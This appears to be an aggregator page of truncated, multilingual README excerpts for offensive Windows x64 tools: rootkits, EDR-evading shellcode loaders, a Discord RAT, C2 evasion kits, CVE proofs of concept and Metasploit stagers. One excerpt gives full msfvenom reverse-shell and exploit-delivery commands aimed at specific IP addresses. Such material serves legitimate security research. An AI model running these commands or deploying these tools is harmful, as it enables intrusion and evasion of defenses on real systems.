VectorKernel

VectorKernel PoCs for Kernelmode rootkit techniques research or education. Currently focusing on Windows OS. All modules support x64 family 64bit OS only. Environment All modules are tested in Windows 11 x64. To test drivers, following options can be used for the testing machine: 1. Enable Loadin...

AsmLdr

AsmLdr: محمّل شيلكود ديناميكي لأنظمة Windows x64 نظرة عامة AsmLdr هو محمّل شيلكود متقدم مكتوب بلغة التجميع x64، مصمم لبيئات Windows x64. الغرض الأساسي منه هو تنفيذ حمولات مشفرة مع تقليل احتمالية اكتشافه بواسطة برامج مكافحة الفيروسات المتقدمة، وأنظمة كشف نقطة النهاية والاستجابة EDR، وبيئات العزل...

DiscordRAT

DiscordRAT V2 Discord Remote Administration Tool fully written in Python3. This is a RAT controlled over Discord with over 20 post exploitation modules. Disclaimer: This tool is for educational use only, the author will not be held responsible for any misuse of this tool. Setup Guide: You will...

lacuna-rs

lacuna-rs Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust. Ported from LACUNA Chain lacunachain.c by Mohamed Alzhrani 0xmaz. lacuna-rs is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped int...

CrystalSliver

crystal-kit-sliver Crystal Palace evasion kit ported to Sliver C2. This is the first public port of rasta-mouse's Crystal-Kit Cobalt Strike to Sliver. It follows the same cross-C2 pattern proven by Crystal-Kit-Xenon Mythic. License: MIT — Copyright c 2026 Simone Licitra Target: Windows x64 only...

nimcrypt

nimcrypt A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled. Variants stager Reads an encrypted shellcode blob from disk, decrypts it in memory, and...

micr0_shell

micr0 shell Micr0shell is a lightweight and efficient Python script designed for dynamically generating Windows X64 Position-Independent Code PIC Null-Free reverse shell shellcode. Depending on the options selected, the generated shellcode can be up to 27 bytes smaller than comparable shellcode...

NovaHypervisor

NovaHypervisor Description NovaHypervisor is a defensive x64 Intel host based hypervisor. The goal of this project is to protect against kernel based attacks either via Bring Your Own Vulnerable Driver BYOVD or other means by safeguarding defense products AntiVirus / Endpoint Protection and kerne...

swapgs-attack-poc

PoC for the SWAPGS attack CVE-2019-1125 This repository holds the sources for the SWAPGS attack PoC publicly shown at Black Hat USA, 2019. Contents leakgsbkva - variant 1 look for random values in kernel memory; limited to PE kernel image header leakgsbkvat - variant 2 extract random values from...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831, WinRAR 6.23 में एक RCE है संदर्भ: https://github.com/z3r0sw0rd/CVE-2023-38831-PoC Google के TAG द्वारा पढ़ें: https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ नवीनतम संवेदनशील संस्करण डाउनलोड करें: विंडोज x64 के लिए...

stealth_call

Qu'est-ce que c'est ? Bibliothèque header-only pour Windows x64 qui vous permet d'invoquer n'importe quel syscall NT sans toucher aux imports ntdll, sans laisser de chaînes de caractères dans votre binaire, et sans les signaux d'alerte habituels qui font perdre la tête aux EDR. Pas de CRT. Pas de...

SILVERPICK

SILVERPICK الإصدار v1.1 نبذة مشروع SILVERPICK هو إطار عمل تطوير شيل كود في وضع المستخدم لنظام ويندوز WUMSDF، والغرض الوحيد منه هو تمكين مطوّري القدرات من بناء كتل كود مستقل عن العنوان PIC لنظام Windows بمعمارية x64 باستخدام C/C++ بطريقة سهلة، وذلك لتقليل تكاليف التطوير لمثل هذا المسعى. إنه مشتق م...

cve-2022-3218

Étape 1 — Créer un payload RÉEL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Étape 2 — Servir le payload via HTTP Dans le même répertoire : python3 -m http.server 80 Étape 3 — Ajuster l'exploit Exécute ainsi : python3 CVE-2022-3218.py 172.20.7.1...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass मेरा संस्करण - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1 फ़ॉन्ट पूल ओवरफ़्लो LPE एक्सप्लॉइट समर्थित OS : Windows 7,8,8.1 x64...

PINKPANTHER

PINKPANTHER نبذة شيلكود مكتوب يدويًا لوضع النواة kernel-mode في Windows x64؛ لاستبدال رمز الوصول الأساسي للعملية الجارية برمز وصول عملية SYSTEM من أجل رفع الامتيازات Elevation of Privilege - EoP. إصدارات أنظمة التشغيل المدعومة Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server...

cve-2026-0828

CVE-2026-0828 — PoC BYOVD di Safetica ProcessMonitorDriver.sys Il driver kernel DLP di Safetica ProcessMonitorDriver.sys espone un IOCTL non autenticato che consente a qualsiasi chiamante in modalità utente di terminare processi arbitrari tramite ZwTerminateProcess nel contesto del kernel,...

stealth_call

Cos'è? Libreria header-only per Windows x64 che consente di invocare qualsiasi syscall NT senza toccare gli import di ntdll, senza lasciare stringhe nel binario e senza i soliti campanelli d'allarme che fanno impazzire gli EDR. Niente CRT. Niente STL. Niente IAT. L'intero progetto compila a circa...

FTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Listen for a pipe connection Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager

Fetch and execute an x64 payload from an FTP server. Connect back to the attacker via a named pipe pivot Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...